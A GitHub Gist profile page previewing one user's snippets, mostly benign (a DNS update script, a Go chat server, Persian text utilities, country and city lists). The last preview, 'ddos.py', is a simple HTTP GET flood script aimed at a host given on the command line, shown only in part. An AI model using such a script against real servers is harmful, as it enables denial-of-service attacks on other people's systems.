Skip to content

Instantly share code, notes, and snippets.

Avatar
🏠
Working from home

Hamid Feizabadi hamidfzm

🏠
Working from home
View GitHub Profile
View react-native-gesture-handler+1.6.1.patch
diff --git a/node_modules/react-native-gesture-handler/android/build/.transforms/5dc49dbe2ce7ec9b835fef71e3502041.bin b/node_modules/react-native-gesture-handler/android/build/.transforms/5dc49dbe2ce7ec9b835fef71e3502041.bin
new file mode 100644
index 0000000..e69de29
diff --git a/node_modules/react-native-gesture-handler/android/build/generated/source/buildConfig/release/com/swmansion/gesturehandler/react/BuildConfig.java b/node_modules/react-native-gesture-handler/android/build/generated/source/buildConfig/release/com/swmansion/gesturehandler/react/BuildConfig.java
new file mode 100644
index 0000000..b20644c
--- /dev/null
+++ b/node_modules/react-native-gesture-handler/android/build/generated/source/buildConfig/release/com/swmansion/gesturehandler/react/BuildConfig.java
@@ -0,0 +1,18 @@
+/**
@hamidfzm
hamidfzm / udocf.sh
Created Aug 28, 2019 — forked from 5lx/udocf.sh
Update Digital Ocean Floating IP and Cloudflare DNS Record
View udocf.sh
#!/bin/bash
DO_TOKEN=
DO_API=https://api.digitalocean.com/v2
CF_API_KEY=
CF_AUTH_EMAIL=
CF_ROOT_DOMAIN=
CF_RECORD=
CF_API=https://api.cloudflare.com/client/v4
@hamidfzm
hamidfzm / chat.go
Created Feb 5, 2016 — forked from drewolson/chat.go
simple golang chat server
View chat.go
package main
import (
"bufio"
"net"
)
type Client struct {
incoming chan string
outgoing chan string
@hamidfzm
hamidfzm / normalizer.py
Created Oct 7, 2015
epub persian normalizer script
View normalizer.py
# -*- coding: utf-8 -*-
from hazm import Normalizer
from zipfile import ZipFile, ZIP_DEFLATED
import argparse
import binascii
import re
import os
import shutil
@hamidfzm
hamidfzm / persian_country_names.py
Created Jul 18, 2015
All country names with their two word name
View persian_country_names.py
# -*- coding: utf-8 -*-
__author__ = 'Hamid FzM'
persian_country_names = [
['IR', unicode('ایران', 'utf8')],
['AZ', unicode('آذربایجان', 'utf8')],
['AR', unicode('آرژانتین', 'utf8')],
['ZA', unicode('آفریقای جنوبی', 'utf8')],
['AL', unicode('آلبانی', 'utf8')],
['DE', unicode('آلمان', 'utf8')],
@hamidfzm
hamidfzm / iran_state_&_cities.py
Created Jul 18, 2015
Iran states and cities python dictionary
View iran_state_&_cities.py
# -*- coding: utf-8 -*-
__author__ = 'Hamid FzM'
IRAN = {
"قم": [
"قم"
],
"کرمانشاه": [
"اسلام‌آباد غرب",
"پاوه",
View ddos.py
import socket, sys, os
print "][ Attacking " + sys.argv[1] + " ... ]["
print "injecting " + sys.argv[2];
def attack():
#pid = os.fork()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
print ">> GET /" + sys.argv[2] + " HTTP/1.1"
s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
s.send("Host: " + sys.argv[1] + "\r\n\r\n");